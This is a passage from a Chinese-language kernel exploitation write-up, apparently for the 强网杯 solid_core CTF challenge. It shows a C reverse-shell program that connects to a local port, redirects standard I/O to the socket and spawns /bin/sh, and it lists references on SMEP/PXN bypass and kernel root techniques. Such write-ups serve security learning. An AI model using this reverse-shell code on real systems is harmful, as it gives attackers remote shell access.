    char buf[BUFSIZ];
    struct sockaddr_in their_addr;
    while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1);
    their_addr.sin_family = AF_INET;
    their_addr.sin_port = htons(2333);
    their_addr.sin_addr.s_addr=inet_addr("127.0.0.1");
    bzero(&(their_addr.sin_zero), 8);

    while(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1);
    dup2(sockfd,0);
    dup2(sockfd,1);
    dup2(sockfd,2);
    system("/bin/sh");
    return 0;
}

注意,跟之前的shellcode反弹shell不同,这里是执行反弹shell程序,所以需要fork()来执行反弹shell脚本。

Exploit见test_hijackprctl.c。

3-succeed_exp_hijackprctl.png

其他参考

强网杯出题思路-solid_core: http://simp1e.leanote.com/post/%E5%BC%BA%E7%BD%91%E6%9D%AF%E5%87%BA%E9%A2%98%E6%80%9D%E8%B7%AF-solid_core

Bypassing SMEP Using vDSO Overwrites:https://hardenedlinux.github.io/translation/2015/11/25/Translation-Bypassing-SMEP-Using-vDSO-Overwrites.html

linux kernel pwn notes: https://xz.aliyun.com/t/2306

idr 机制:http://blog.chinaunix.net/uid-21762157-id-4165782.html

https://github.com/mncoppola/StringIPC/blob/master/solution/solution.c

给shellcode找块福地-通过VDSO绕过PXN:https://bbs.pediy.com/thread-220057.htm

New Reliable Android Kernel Root Exploitation Techniques: http://t.cn/Rftu7Dn